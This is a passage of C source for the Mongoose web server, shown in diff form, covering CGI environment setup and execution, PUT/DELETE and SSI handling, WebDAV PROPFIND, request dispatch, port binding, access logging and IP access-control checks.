  space = sizeof(block->buf) - block->len - 2;
+
  assert(space >= 0);
+

+
  // Make a pointer to the free space int the buffer
+
  added = block->buf + block->len;
+

+
  // Copy VARIABLE=VALUE\0 string into the free space
+
  va_start(ap, fmt);
+
  n = mg_vsnprintf(block->conn, added, (size_t) space, fmt, ap);
+
  va_end(ap);
+

+
  // Make sure we do not overflow buffer and the envp array
+
  if (n > 0 && n + 1 < space &&
+
      block->nvars < (int) ARRAY_SIZE(block->vars) - 2) {
+
    // Append a pointer to the added string into the envp array
+
    block->vars[block->nvars++] = added;
+
    // Bump up used length counter. Include \0 terminator
+
    block->len += n + 1;
+
  } else {
+
    cry(block->conn, "%s: CGI env buffer truncated for [%s]", __func__, fmt);
+
  }
+

+
  return added;
+
}
+

+
static void prepare_cgi_environment(struct mg_connection *conn,
+
                                    const char *prog,
+
                                    struct cgi_env_block *blk) {
+
  const char *s, *slash;
+
  struct vec var_vec;
+
  char *p, src_addr[20];
+
  int  i;
+

+
  blk->len = blk->nvars = 0;
+
  blk->conn = conn;
+
  sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
+

+
  addenv(blk, "SERVER_NAME=%s", conn->ctx->config[AUTHENTICATION_DOMAIN]);
+
  addenv(blk, "SERVER_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
+
  addenv(blk, "DOCUMENT_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
+

+
  // Prepare the environment block
+
  addenv(blk, "%s", "GATEWAY_INTERFACE=CGI/1.1");
+
  addenv(blk, "%s", "SERVER_PROTOCOL=HTTP/1.1");
+
  addenv(blk, "%s", "REDIRECT_STATUS=200"); // For PHP
+

+
  // TODO(lsm): fix this for IPv6 case
+
  addenv(blk, "SERVER_PORT=%d", ntohs(conn->client.lsa.sin.sin_port));
+

+
  addenv(blk, "REQUEST_METHOD=%s", conn->request_info.request_method);
+
  addenv(blk, "REMOTE_ADDR=%s", src_addr);
+
  addenv(blk, "REMOTE_PORT=%d", conn->request_info.remote_port);
+
  addenv(blk, "REQUEST_URI=%s", conn->request_info.uri);
+

+
  // SCRIPT_NAME
+
  assert(conn->request_info.uri[0] == '/');
+
  slash = strrchr(conn->request_info.uri, '/');
+
  if ((s = strrchr(prog, '/')) == NULL)
+
    s = prog;
+
  addenv(blk, "SCRIPT_NAME=%.*s%s", (int) (slash - conn->request_info.uri),
+
         conn->request_info.uri, s);
+

+
  addenv(blk, "SCRIPT_FILENAME=%s", prog);
+
  addenv(blk, "PATH_TRANSLATED=%s", prog);
+
  addenv(blk, "HTTPS=%s", conn->ssl == NULL ? "off" : "on");
+

+
  if ((s = mg_get_header(conn, "Content-Type")) != NULL)
+
    addenv(blk, "CONTENT_TYPE=%s", s);
+

+
  if (conn->request_info.query_string != NULL)
+
    addenv(blk, "QUERY_STRING=%s", conn->request_info.query_string);
+

+
  if ((s = mg_get_header(conn, "Content-Length")) != NULL)
+
    addenv(blk, "CONTENT_LENGTH=%s", s);
+

+
  if ((s = getenv("PATH")) != NULL)
+
    addenv(blk, "PATH=%s", s);
+

+
  if (conn->path_info != NULL) {
+
    addenv(blk, "PATH_INFO=%s", conn->path_info);
+
  }
+

+
#if defined(_WIN32)
+
  if ((s = getenv("COMSPEC")) != NULL) {
+
    addenv(blk, "COMSPEC=%s", s);
+
  }
+
  if ((s = getenv("SYSTEMROOT")) != NULL) {
+
    addenv(blk, "SYSTEMROOT=%s", s);
+
  }
+
  if ((s = getenv("SystemDrive")) != NULL) {
+
    addenv(blk, "SystemDrive=%s", s);
+
  }
+
#else
+
  if ((s = getenv("LD_LIBRARY_PATH")) != NULL)
+
    addenv(blk, "LD_LIBRARY_PATH=%s", s);
+
#endif // _WIN32
+

+
  if ((s = getenv("PERLLIB")) != NULL)
+
    addenv(blk, "PERLLIB=%s", s);
+

+
  if (conn->request_info.remote_user != NULL) {
+
    addenv(blk, "REMOTE_USER=%s", conn->request_info.remote_user);
+
    addenv(blk, "%s", "AUTH_TYPE=Digest");
+
  }
+

+
  // Add all headers as HTTP_* variables
+
  for (i = 0; i < conn->request_info.num_headers; i++) {
+
    p = addenv(blk, "HTTP_%s=%s",
+
        conn->request_info.http_headers[i].name,
+
        conn->request_info.http_headers[i].value);
+

+
    // Convert variable name into uppercase, and change - to _
+
    for (; *p != '=' && *p != '\0'; p++) {
+
      if (*p == '-')
+
        *p = '_';
+
      *p = (char) toupper(* (unsigned char *) p);
+
    }
+
  }
+

+
  // Add user-specified variables
+
  s = conn->ctx->config[CGI_ENVIRONMENT];
+
  while ((s = next_option(s, &var_vec, NULL)) != NULL) {
+
    addenv(blk, "%.*s", (int) var_vec.len, var_vec.ptr);
+
  }
+

+
  blk->vars[blk->nvars++] = NULL;
+
  blk->buf[blk->len++] = '\0';
+

+
  assert(blk->nvars < (int) ARRAY_SIZE(blk->vars));
+
  assert(blk->len > 0);
+
  assert(blk->len < (int) sizeof(blk->buf));
+
}
+

+
static void handle_cgi_request(struct mg_connection *conn, const char *prog) {
+
  int headers_len, data_len, i, fd_stdin[2], fd_stdout[2];
+
  const char *status, *status_text;
+
  char buf[16384], *pbuf, dir[PATH_MAX], *p;
+
  struct mg_request_info ri;
+
  struct cgi_env_block blk;
+
  FILE *in, *out;
+
  pid_t pid;
+

+
  prepare_cgi_environment(conn, prog, &blk);
+

+
  // CGI must be executed in its own directory. 'dir' must point to the
+
  // directory containing executable program, 'p' must point to the
+
  // executable program name relative to 'dir'.
+
  (void) mg_snprintf(conn, dir, sizeof(dir), "%s", prog);
+
  if ((p = strrchr(dir, DIRSEP)) != NULL) {
+
    *p++ = '\0';
+
  } else {
+
    dir[0] = '.', dir[1] = '\0';
+
    p = (char *) prog;
+
  }
+

+
  pid = (pid_t) -1;
+
  fd_stdin[0] = fd_stdin[1] = fd_stdout[0] = fd_stdout[1] = -1;
+
  in = out = NULL;
+

+
  if (pipe(fd_stdin) != 0 || pipe(fd_stdout) != 0) {
+
    send_http_error(conn, 500, http_500_error,
+
        "Cannot create CGI pipe: %s", strerror(ERRNO));
+
    goto done;
+
  } else if ((pid = spawn_process(conn, p, blk.buf, blk.vars,
+
          fd_stdin[0], fd_stdout[1], dir)) == (pid_t) -1) {
+
    send_http_error(conn, 500, http_500_error,
+
        "Cannot spawn CGI process [%s]: %s", prog, strerror(ERRNO));
+
    goto done;
+
  } else if ((in = fdopen(fd_stdin[1], "wb")) == NULL ||
+
      (out = fdopen(fd_stdout[0], "rb")) == NULL) {
+
    send_http_error(conn, 500, http_500_error,
+
        "fopen: %s", strerror(ERRNO));
+
    goto done;
+
  }
+

+
  setbuf(in, NULL);
+
  setbuf(out, NULL);
+

+
  // spawn_process() must close those!
+
  // If we don't mark them as closed, close() attempt before
+
  // return from this function throws an exception on Windows.
+
  // Windows does not like when closed descriptor is closed again.
+
  fd_stdin[0] = fd_stdout[1] = -1;
+

+
  // Send POST data to the CGI process if needed
+
  if (!strcmp(conn->request_info.request_method, "POST") &&
+
      !forward_body_data(conn, in, INVALID_SOCKET, NULL)) {
+
    goto done;
+
  }
+
  // Close so child gets an EOF.
+
  fclose(in);
+
  in = NULL;
+

+
  // Now read CGI reply into a buffer. We need to set correct
+
  // status code, thus we need to see all HTTP headers first.
+
  // Do not send anything back to client, until we buffer in all
+
  // HTTP headers.
+
  data_len = 0;
+
  headers_len = read_request(out, fc(conn->ctx), buf, sizeof(buf), &data_len);
+
  if (headers_len <= 0) {
+
    send_http_error(conn, 500, http_500_error,
+
                    "CGI program sent malformed or too big (>%u bytes) "
+
                    "HTTP headers: [%.*s]",
+
                    (unsigned) sizeof(buf), data_len, buf);
+
    goto done;
+
  }
+
  pbuf = buf;
+
  buf[headers_len - 1] = '\0';
+
  parse_http_headers(&pbuf, &ri);
+

+
  // Make up and send the status line
+
  status_text = "OK";
+
  if ((status = get_header(&ri, "Status")) != NULL) {
+
    conn->request_info.status_code = atoi(status);
+
    status_text = status;
+
    while (isdigit(* (unsigned char *) status_text) || *status_text == ' ') {
+
      status_text++;
+
    }
+
  } else if (get_header(&ri, "Location") != NULL) {
+
    conn->request_info.status_code = 302;
+
  } else {
+
    conn->request_info.status_code = 200;
+
  }
+
  if (get_header(&ri, "Connection") != NULL &&
+
      !mg_strcasecmp(get_header(&ri, "Connection"), "keep-alive")) {
+
    conn->must_close = 1;
+
  }
+
  (void) mg_printf(conn, "HTTP/1.1 %d %s\r\n", conn->request_info.status_code,
+
                   status_text);
+

+
  // Send headers
+
  for (i = 0; i < ri.num_headers; i++) {
+
    mg_printf(conn, "%s: %s\r\n",
+
              ri.http_headers[i].name, ri.http_headers[i].value);
+
  }
+
  (void) mg_write(conn, "\r\n", 2);
+

+
  // Send chunk of data that may have been read after the headers
+
  conn->num_bytes_sent += mg_write(conn, buf + headers_len,
+
                                   (size_t)(data_len - headers_len));
+

+
  // Read the rest of CGI output and send to the client
+
  send_file_data(conn, out, INT64_MAX);
+

+
done:
+
  if (pid != (pid_t) -1) {
+
    kill(pid, SIGKILL);
+
  }
+
  if (fd_stdin[0] != -1) {
+
    (void) close(fd_stdin[0]);
+
  }
+
  if (fd_stdout[1] != -1) {
+
    (void) close(fd_stdout[1]);
+
  }
+

+
  if (in != NULL) {
+
    (void) fclose(in);
+
  } else if (fd_stdin[1] != -1) {
+
    (void) close(fd_stdin[1]);
+
  }
+

+
  if (out != NULL) {
+
    (void) fclose(out);
+
  } else if (fd_stdout[0] != -1) {
+
    (void) close(fd_stdout[0]);
+
  }
+
}
+
#endif // !NO_CGI
+

+
// For a given PUT path, create all intermediate subdirectories
+
// for given path. Return 0 if the path itself is a directory,
+
// or -1 on error, 1 if OK.
+
static int put_dir(const char *path) {
+
  char buf[PATH_MAX];
+
  const char *s, *p;
+
  struct mgstat st;
+
  int len, res = 1;
+

+
  for (s = p = path + 2; (p = strchr(s, DIRSEP)) != NULL; s = ++p) {
+
    len = p - path;
+
    if (len >= (int) sizeof(buf)) {
+
      res = -1;
+
      break;
+
    }
+
    memcpy(buf, path, len);
+
    buf[len] = '\0';
+

+
    // Try to create intermediate directory
+
    DEBUG_TRACE(("mkdir(%s)", buf));
+
    if (mg_stat(buf, &st) == -1 && mg_mkdir(buf, 0755) != 0) {
+
      res = -1;
+
      break;
+
    }
+

+
    // Is path itself a directory?
+
    if (p[1] == '\0') {
+
      res = 0;
+
    }
+
  }
+

+
  return res;
+
}
+

+
static void put_file(struct mg_connection *conn, const char *path) {
+
  struct mgstat st;
+
  const char *range;
+
  int64_t r1, r2;
+
  FILE *fp;
+
  int rc;
+

+
  conn->request_info.status_code = mg_stat(path, &st) == 0 ? 200 : 201;
+

+
  if ((rc = put_dir(path)) == 0) {
+
    mg_printf(conn, "HTTP/1.1 %d OK\r\n\r\n", conn->request_info.status_code);
+
  } else if (rc == -1) {
+
    send_http_error(conn, 500, http_500_error,
+
        "put_dir(%s): %s", path, strerror(ERRNO));
+
  } else if ((fp = mg_fopen(path, "wb+")) == NULL) {
+
    send_http_error(conn, 500, http_500_error,
+
        "fopen(%s): %s", path, strerror(ERRNO));
+
  } else {
+
    set_close_on_exec(fileno(fp));
+
    range = mg_get_header(conn, "Content-Range");
+
    r1 = r2 = 0;
+
    if (range != NULL && parse_range_header(range, &r1, &r2) > 0) {
+
      conn->request_info.status_code = 206;
+
      // TODO(lsm): handle seek error
+
      (void) fseeko(fp, r1, SEEK_SET);
+
    }
+
    if (forward_body_data(conn, fp, INVALID_SOCKET, NULL))
+
      (void) mg_printf(conn, "HTTP/1.1 %d OK\r\n\r\n",
+
          conn->request_info.status_code);
+
    (void) fclose(fp);
+
  }
+
}
+

+
static void send_ssi_file(struct mg_connection *, const char *, FILE *, int);
+

+
static void do_ssi_include(struct mg_connection *conn, const char *ssi,
+
                           char *tag, int include_level) {
+
  char file_name[MG_BUF_LEN], path[PATH_MAX], *p;
+
  FILE *fp;
+

+
  // sscanf() is safe here, since send_ssi_file() also uses buffer
+
  // of size MG_BUF_LEN to get the tag. So strlen(tag) is always < MG_BUF_LEN.
+
  if (sscanf(tag, " virtual=\"%[^\"]\"", file_name) == 1) {
+
    // File name is relative to the webserver root
+
    (void) mg_snprintf(conn, path, sizeof(path), "%s%c%s",
+
        conn->ctx->config[DOCUMENT_ROOT], DIRSEP, file_name);
+
  } else if (sscanf(tag, " file=\"%[^\"]\"", file_name) == 1) {
+
    // File name is relative to the webserver working directory
+
    // or it is absolute system path
+
    (void) mg_snprintf(conn, path, sizeof(path), "%s", file_name);
+
  } else if (sscanf(tag, " \"%[^\"]\"", file_name) == 1) {
+
    // File name is relative to the currect document
+
    (void) mg_snprintf(conn, path, sizeof(path), "%s", ssi);
+
    if ((p = strrchr(path, DIRSEP)) != NULL) {
+
      p[1] = '\0';
+
    }
+
    (void) mg_snprintf(conn, path + strlen(path),
+
        sizeof(path) - strlen(path), "%s", file_name);
+
  } else {
+
    cry(conn, "Bad SSI #include: [%s]", tag);
+
    return;
+
  }
+

+
  if ((fp = mg_fopen(path, "rb")) == NULL) {
+
    cry(conn, "Cannot open SSI #include: [%s]: fopen(%s): %s",
+
        tag, path, strerror(ERRNO));
+
  } else {
+
    set_close_on_exec(fileno(fp));
+
    if (match_prefix(conn->ctx->config[SSI_EXTENSIONS],
+
                     strlen(conn->ctx->config[SSI_EXTENSIONS]), path) > 0) {
+
      send_ssi_file(conn, path, fp, include_level + 1);
+
    } else {
+
      send_file_data(conn, fp, INT64_MAX);
+
    }
+
    (void) fclose(fp);
+
  }
+
}
+

+
#if !defined(NO_POPEN)
+
static void do_ssi_exec(struct mg_connection *conn, char *tag) {
+
  char cmd[MG_BUF_LEN];
+
  FILE *fp;
+

+
  if (sscanf(tag, " \"%[^\"]\"", cmd) != 1) {
+
    cry(conn, "Bad SSI #exec: [%s]", tag);
+
  } else if ((fp = popen(cmd, "r")) == NULL) {
+
    cry(conn, "Cannot SSI #exec: [%s]: %s", cmd, strerror(ERRNO));
+
  } else {
+
    send_file_data(conn, fp, INT64_MAX);
+
    (void) pclose(fp);
+
  }
+
}
+
#endif // !NO_POPEN
+

+
static void send_ssi_file(struct mg_connection *conn, const char *path,
+
                          FILE *fp, int include_level) {
+
  char buf[MG_BUF_LEN];
+
  int ch, len, in_ssi_tag;
+

+
  if (include_level > 10) {
+
    cry(conn, "SSI #include level is too deep (%s)", path);
+
    return;
+
  }
+

+
  in_ssi_tag = 0;
+
  len = 0;
+

+
  while ((ch = fgetc(fp)) != EOF) {
+
    if (in_ssi_tag && ch == '>') {
+
      in_ssi_tag = 0;
+
      buf[len++] = (char) ch;
+
      buf[len] = '\0';
+
      assert(len <= (int) sizeof(buf));
+
      if (len < 6 || memcmp(buf, "<!--#", 5) != 0) {
+
        // Not an SSI tag, pass it
+
        (void) mg_write(conn, buf, (size_t)len);
+
      } else {
+
        if (!memcmp(buf + 5, "include", 7)) {
+
          do_ssi_include(conn, path, buf + 12, include_level);
+
#if !defined(NO_POPEN)
+
        } else if (!memcmp(buf + 5, "exec", 4)) {
+
          do_ssi_exec(conn, buf + 9);
+
#endif // !NO_POPEN
+
        } else {
+
          cry(conn, "%s: unknown SSI " "command: \"%s\"", path, buf);
+
        }
+
      }
+
      len = 0;
+
    } else if (in_ssi_tag) {
+
      if (len == 5 && memcmp(buf, "<!--#", 5) != 0) {
+
        // Not an SSI tag
+
        in_ssi_tag = 0;
+
      } else if (len == (int) sizeof(buf) - 2) {
+
        cry(conn, "%s: SSI tag is too large", path);
+
        len = 0;
+
      }
+
      buf[len++] = ch & 0xff;
+
    } else if (ch == '<') {
+
      in_ssi_tag = 1;
+
      if (len > 0) {
+
        (void) mg_write(conn, buf, (size_t)len);
+
      }
+
      len = 0;
+
      buf[len++] = ch & 0xff;
+
    } else {
+
      buf[len++] = ch & 0xff;
+
      if (len == (int) sizeof(buf)) {
+
        (void) mg_write(conn, buf, (size_t)len);
+
        len = 0;
+
      }
+
    }
+
  }
+

+
  // Send the rest of buffered data
+
  if (len > 0) {
+
    (void) mg_write(conn, buf, (size_t)len);
+
  }
+
}
+

+
static void handle_ssi_file_request(struct mg_connection *conn,
+
                                    const char *path) {
+
  FILE *fp;
+

+
  if ((fp = mg_fopen(path, "rb")) == NULL) {
+
    send_http_error(conn, 500, http_500_error, "fopen(%s): %s", path,
+
                    strerror(ERRNO));
+
  } else {
+
    conn->must_close = 1;
+
    set_close_on_exec(fileno(fp));
+
    mg_printf(conn, "HTTP/1.1 200 OK\r\n"
+
              "Content-Type: text/html\r\nConnection: %s\r\n\r\n",
+
              suggest_connection_header(conn));
+
    send_ssi_file(conn, path, fp, 0);
+
    (void) fclose(fp);
+
  }
+
}
+

+
static void send_options(struct mg_connection *conn) {
+
  conn->request_info.status_code = 200;
+

+
  (void) mg_printf(conn,
+
      "HTTP/1.1 200 OK\r\n"
+
      "Allow: GET, POST, HEAD, CONNECT, PUT, DELETE, OPTIONS\r\n"
+
      "DAV: 1\r\n\r\n");
+
}
+

+
// Writes PROPFIND properties for a collection element
+
static void print_props(struct mg_connection *conn, const char* uri,
+
                        struct mgstat* st) {
+
  char mtime[64];
+
  gmt_time_string(mtime, sizeof(mtime), &st->mtime);
+
  conn->num_bytes_sent += mg_printf(conn,
+
      "<d:response>"
+
       "<d:href>%s</d:href>"
+
       "<d:propstat>"
+
        "<d:prop>"
+
         "<d:resourcetype>%s</d:resourcetype>"
+
         "<d:getcontentlength>%" INT64_FMT "</d:getcontentlength>"
+
         "<d:getlastmodified>%s</d:getlastmodified>"
+
        "</d:prop>"
+
        "<d:status>HTTP/1.1 200 OK</d:status>"
+
       "</d:propstat>"
+
      "</d:response>\n",
+
      uri,
+
      st->is_directory ? "<d:collection/>" : "",
+
      st->size,
+
      mtime);
+
}
+

+
static void print_dav_dir_entry(struct de *de, void *data) {
+
  char href[PATH_MAX];
+
  struct mg_connection *conn = (struct mg_connection *) data;
+
  mg_snprintf(conn, href, sizeof(href), "%s%s",
+
              conn->request_info.uri, de->file_name);
+
  print_props(conn, href, &de->st);
+
}
+

+
static void handle_propfind(struct mg_connection *conn, const char* path,
+
                            struct mgstat* st) {
+
  const char *depth = mg_get_header(conn, "Depth");
+

+
  conn->must_close = 1;
+
  conn->request_info.status_code = 207;
+
  mg_printf(conn, "HTTP/1.1 207 Multi-Status\r\n"
+
            "Connection: close\r\n"
+
            "Content-Type: text/xml; charset=utf-8\r\n\r\n");
+

+
  conn->num_bytes_sent += mg_printf(conn,
+
      "<?xml version=\"1.0\" encoding=\"utf-8\"?>"
+
      "<d:multistatus xmlns:d='DAV:'>\n");
+

+
  // Print properties for the requested resource itself
+
  print_props(conn, conn->request_info.uri, st);
+

+
  // If it is a directory, print directory entries too if Depth is not 0
+
  if (st->is_directory &&
+
      !mg_strcasecmp(conn->ctx->config[ENABLE_DIRECTORY_LISTING], "yes") &&
+
      (depth == NULL || strcmp(depth, "0") != 0)) {
+
    scan_directory(conn, path, conn, &print_dav_dir_entry);
+
  }
+

+
  conn->num_bytes_sent += mg_printf(conn, "%s\n", "</d:multistatus>");
+
}
+

+
// This is the heart of the Mongoose's logic.
+
// This function is called when the request is read, parsed and validated,
+
// and Mongoose must decide what action to take: serve a file, or
+
// a directory, or call embedded function, etcetera.
+
static void handle_request(struct mg_connection *conn) {
+
  struct mg_request_info *ri = &conn->request_info;
+
  char path[PATH_MAX];
+
  int stat_result, uri_len;
+
  struct mgstat st;
+

+
  if ((conn->request_info.query_string = strchr(ri->uri, '?')) != NULL) {
+
    *conn->request_info.query_string++ = '\0';
+
  }
+
  uri_len = (int) strlen(ri->uri);
+
  url_decode(ri->uri, (size_t)uri_len, ri->uri, (size_t)(uri_len + 1), 0);
+
  remove_double_dots_and_double_slashes(ri->uri);
+
  stat_result = convert_uri_to_file_name(conn, path, sizeof(path), &st);
+

+
  DEBUG_TRACE(("%s", ri->uri));
+
  if (!check_authorization(conn, path)) {
+
    send_authorization_request(conn);
+
  } else if (call_user(conn, MG_NEW_REQUEST) != NULL) {
+
    // Do nothing, callback has served the request
+
  } else if (!strcmp(ri->request_method, "OPTIONS")) {
+
    send_options(conn);
+
  } else if (conn->ctx->config[DOCUMENT_ROOT] == NULL) {
+
    send_http_error(conn, 404, "Not Found", "Not Found");
+
  } else if ((!strcmp(ri->request_method, "PUT") ||
+
        !strcmp(ri->request_method, "DELETE")) &&
+
      (conn->ctx->config[PUT_DELETE_PASSWORDS_FILE] == NULL ||
+
       is_authorized_for_put(conn) != 1)) {
+
    send_authorization_request(conn);
+
  } else if (!strcmp(ri->request_method, "PUT")) {
+
    put_file(conn, path);
+
  } else if (!strcmp(ri->request_method, "DELETE")) {
+
    if (mg_remove(path) == 0) {
+
      send_http_error(conn, 200, "OK", "%s", "");
+
    } else {
+
      send_http_error(conn, 500, http_500_error, "remove(%s): %s", path,
+
                      strerror(ERRNO));
+
    }
+
  } else if (stat_result != 0 || must_hide_file(conn, path)) {
+
    send_http_error(conn, 404, "Not Found", "%s", "File not found");
+
  } else if (st.is_directory && ri->uri[uri_len - 1] != '/') {
+
    (void) mg_printf(conn, "HTTP/1.1 301 Moved Permanently\r\n"
+
                     "Location: %s/\r\n\r\n", ri->uri);
+
  } else if (!strcmp(ri->request_method, "PROPFIND")) {
+
    handle_propfind(conn, path, &st);
+
  } else if (st.is_directory &&
+
             !substitute_index_file(conn, path, sizeof(path), &st)) {
+
    if (!mg_strcasecmp(conn->ctx->config[ENABLE_DIRECTORY_LISTING], "yes")) {
+
      handle_directory_request(conn, path);
+
    } else {
+
      send_http_error(conn, 403, "Directory Listing Denied",
+
          "Directory listing denied");
+
    }
+
#if !defined(NO_CGI)
+
  } else if (match_prefix(conn->ctx->config[CGI_EXTENSIONS],
+
                          strlen(conn->ctx->config[CGI_EXTENSIONS]),
+
                          path) > 0) {
+
    if (strcmp(ri->request_method, "POST") &&
+
        strcmp(ri->request_method, "GET")) {
+
      send_http_error(conn, 501, "Not Implemented",
+
                      "Method %s is not implemented", ri->request_method);
+
    } else {
+
      handle_cgi_request(conn, path);
+
    }
+
#endif // !NO_CGI
+
  } else if (match_prefix(conn->ctx->config[SSI_EXTENSIONS],
+
                          strlen(conn->ctx->config[SSI_EXTENSIONS]),
+
                          path) > 0) {
+
    handle_ssi_file_request(conn, path);
+
  } else if (is_not_modified(conn, &st)) {
+
    send_http_error(conn, 304, "Not Modified", "%s", "");
+
  } else {
+
    handle_file_request(conn, path, &st);
+
  }
+
}
+

+
static void close_all_listening_sockets(struct mg_context *ctx) {
+
  struct socket *sp, *tmp;
+
  for (sp = ctx->listening_sockets; sp != NULL; sp = tmp) {
+
    tmp = sp->next;
+
    (void) closesocket(sp->sock);
+
    free(sp);
+
  }
+
}
+

+
// Valid listening port specification is: [ip_address:]port[s]
+
// Examples: 80, 443s, 127.0.0.1:3128, 1.2.3.4:8080s
+
// TODO(lsm): add parsing of the IPv6 address
+
static int parse_port_string(const struct vec *vec, struct socket *so) {
+
  int a, b, c, d, port, len;
+

+
  // MacOS needs that. If we do not zero it, subsequent bind() will fail.
+
  // Also, all-zeroes in the socket address means binding to all addresses
+
  // for both IPv4 and IPv6 (INADDR_ANY and IN6ADDR_ANY_INIT).
+
  memset(so, 0, sizeof(*so));
+

+
  if (sscanf(vec->ptr, "%d.%d.%d.%d:%d%n", &a, &b, &c, &d, &port, &len) == 5) {
+
    // Bind to a specific IPv4 address
+
    so->lsa.sin.sin_addr.s_addr = htonl((a << 24) | (b << 16) | (c << 8) | d);
+
  } else if (sscanf(vec->ptr, "%d%n", &port, &len) != 1 ||
+
             len <= 0 ||
+
             len > (int) vec->len ||
+
             (vec->ptr[len] && vec->ptr[len] != 's' && vec->ptr[len] != ',')) {
+
    return 0;
+
  }
+

+
  so->is_ssl = vec->ptr[len] == 's';
+
#if defined(USE_IPV6)
+
  so->lsa.sin6.sin6_family = AF_INET6;
+
  so->lsa.sin6.sin6_port = htons((uint16_t) port);
+
#else
+
  so->lsa.sin.sin_family = AF_INET;
+
  so->lsa.sin.sin_port = htons((uint16_t) port);
+
#endif
+

+
  return 1;
+
}
+

+
static int set_ports_option(struct mg_context *ctx) {
+
  const char *list = ctx->config[LISTENING_PORTS];
+
  int on = 1, success = 1;
+
  SOCKET sock;
+
  struct vec vec;
+
  struct socket so, *listener;
+

+
  while (success && (list = next_option(list, &vec, NULL)) != NULL) {
+
    if (!parse_port_string(&vec, &so)) {
+
      cry(fc(ctx), "%s: %.*s: invalid port spec. Expecting list of: %s",
+
          __func__, (int) vec.len, vec.ptr, "[IP_ADDRESS:]PORT[s|p]");
+
      success = 0;
+
    } else if (so.is_ssl &&
+
               (ctx->ssl_ctx == NULL || ctx->config[SSL_CERTIFICATE] == NULL)) {
+
      cry(fc(ctx), "Cannot add SSL socket, is -ssl_certificate option set?");
+
      success = 0;
+
    } else if ((sock = socket(so.lsa.sa.sa_family, SOCK_STREAM, 6)) ==
+
               INVALID_SOCKET ||
+
#if !defined(_WIN32)
+
               // On Windows, SO_REUSEADDR is recommended only for
+
               // broadcast UDP sockets
+
               setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &on,
+
                          sizeof(on)) != 0 ||
+
#endif // !_WIN32
+
               // Set TCP keep-alive. This is needed because if HTTP-level
+
               // keep-alive is enabled, and client resets the connection,
+
               // server won't get TCP FIN or RST and will keep the connection
+
               // open forever. With TCP keep-alive, next keep-alive
+
               // handshake will figure out that the client is down and
+
               // will close the server end.
+
               // Thanks to Igor Klopov who suggested the patch.
+
               setsockopt(sock, SOL_SOCKET, SO_KEEPALIVE, (void *) &on,
+
                          sizeof(on)) != 0 ||
+
               bind(sock, &so.lsa.sa, sizeof(so.lsa)) != 0 ||
+
               listen(sock, SOMAXCONN) != 0) {
+
      closesocket(sock);
+
      cry(fc(ctx), "%s: cannot bind to %.*s: %s", __func__,
+
          vec.len, vec.ptr, strerror(ERRNO));
+
      success = 0;
+
    } else if ((listener = (struct socket *)
+
                calloc(1, sizeof(*listener))) == NULL) {
+
      // NOTE(lsm): order is important: call cry before closesocket(),
+
      // cause closesocket() alters the errno.
+
      cry(fc(ctx), "%s: %s", __func__, strerror(ERRNO));
+
      closesocket(sock);
+
      success = 0;
+
    } else {
+
      *listener = so;
+
      listener->sock = sock;
+
      set_close_on_exec(listener->sock);
+
      listener->next = ctx->listening_sockets;
+
      ctx->listening_sockets = listener;
+
    }
+
  }
+

+
  if (!success) {
+
    close_all_listening_sockets(ctx);
+
  }
+

+
  return success;
+
}
+

+
static void log_header(const struct mg_connection *conn, const char *header,
+
                       FILE *fp) {
+
  const char *header_value;
+

+
  if ((header_value = mg_get_header(conn, header)) == NULL) {
+
    (void) fprintf(fp, "%s", " -");
+
  } else {
+
    (void) fprintf(fp, " \"%s\"", header_value);
+
  }
+
}
+

+
static void log_access(const struct mg_connection *conn) {
+
  const struct mg_request_info *ri;
+
  FILE *fp;
+
  char date[64], src_addr[20];
+

+
  fp = conn->ctx->config[ACCESS_LOG_FILE] == NULL ?  NULL :
+
    mg_fopen(conn->ctx->config[ACCESS_LOG_FILE], "a+");
+

+
  if (fp == NULL)
+
    return;
+

+
  strftime(date, sizeof(date), "%d/%b/%Y:%H:%M:%S %z",
+
           localtime(&conn->birth_time));
+

+
  ri = &conn->request_info;
+
  flockfile(fp);
+

+
  sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
+
  fprintf(fp, "%s - %s [%s] \"%s %s HTTP/%s\" %d %" INT64_FMT,
+
          src_addr, ri->remote_user == NULL ? "-" : ri->remote_user, date,
+
          ri->request_method ? ri->request_method : "-",
+
          ri->uri ? ri->uri : "-", ri->http_version,
+
          conn->request_info.status_code, conn->num_bytes_sent);
+
  log_header(conn, "Referer", fp);
+
  log_header(conn, "User-Agent", fp);
+
  fputc('\n', fp);
+
  fflush(fp);
+

+
  funlockfile(fp);
+
  fclose(fp);
+
}
+

+
static int isbyte(int n) {
+
  return n >= 0 && n <= 255;
+
}
+

+
// Verify given socket address against the ACL.
+
// Return -1 if ACL is malformed, 0 if address is disallowed, 1 if allowed.
+
static int check_acl(struct mg_context *ctx, const union usa *usa) {
+
  int a, b, c, d, n, mask, allowed;
+
  char flag;
+
  uint32_t acl_subnet, acl_mask, remote_ip;
+
  struct vec vec;
+
  const char *list = ctx->config[ACCESS_CONTROL_LIST];
+

+
  if (list == NULL) {
+
    return 1;
+
  }
+

+
  (void) memcpy(&remote_ip, &usa->sin.sin_addr, sizeof(remote_ip));
+

+
  // If any ACL is set, deny by default
+
  allowed = '-';
+

+
  while ((list = next_option(list, &vec, NULL)) != NULL) {
+
    mask = 32;
+

+
    if (sscanf(vec.ptr, "%c%d.%d.%d.%d%n", &flag, &a, &b, &c, &d, &n) != 5) {
+
      cry(fc(ctx), "%s: subnet must be [+|-]x.x.x.x[/x]", __func__);
+
      return -1;
+
    } else if (flag != '+' && flag != '-') {
+
      cry(fc(ctx), "%s: flag must be + or -: [%s]", __func__, vec.ptr);
+
      return -1;
+
    } else if (!isbyte(a)||!isbyte(b)||!isbyte(c)||!isbyte(d)) {
+
      cry(fc(ctx), "%s: bad ip address: [%s]", __func__, vec.ptr);
+
      return -1;
+
    } else if (sscanf(vec.ptr + n, "/%d", &mask) == 0) {
+
      // Do nothing, no mask specified
+
    } else if (mask < 0 || mask > 32) {
+
      cry(fc(ctx), "%s: bad subnet mask: %d [%s]", __func__, n, vec.ptr);
+
      return -1;
+
    }
+

+
    acl_subnet = (a << 24) | (b << 16) | (c << 8) | d;
+
    acl_mask = mask ? 0xffffffffU << (32 - mask) : 0;
+

+
    if (acl_subnet == (ntohl(remote_ip) & acl_mask)) {
+
      allowed = flag;
+
    }
+
  }
+

+
  return allowed == '+';
+
}
+

+
static void add_to_set(SOCKET fd, fd_set *set, int *max_fd) {
+
  FD_SET(fd, set);
+
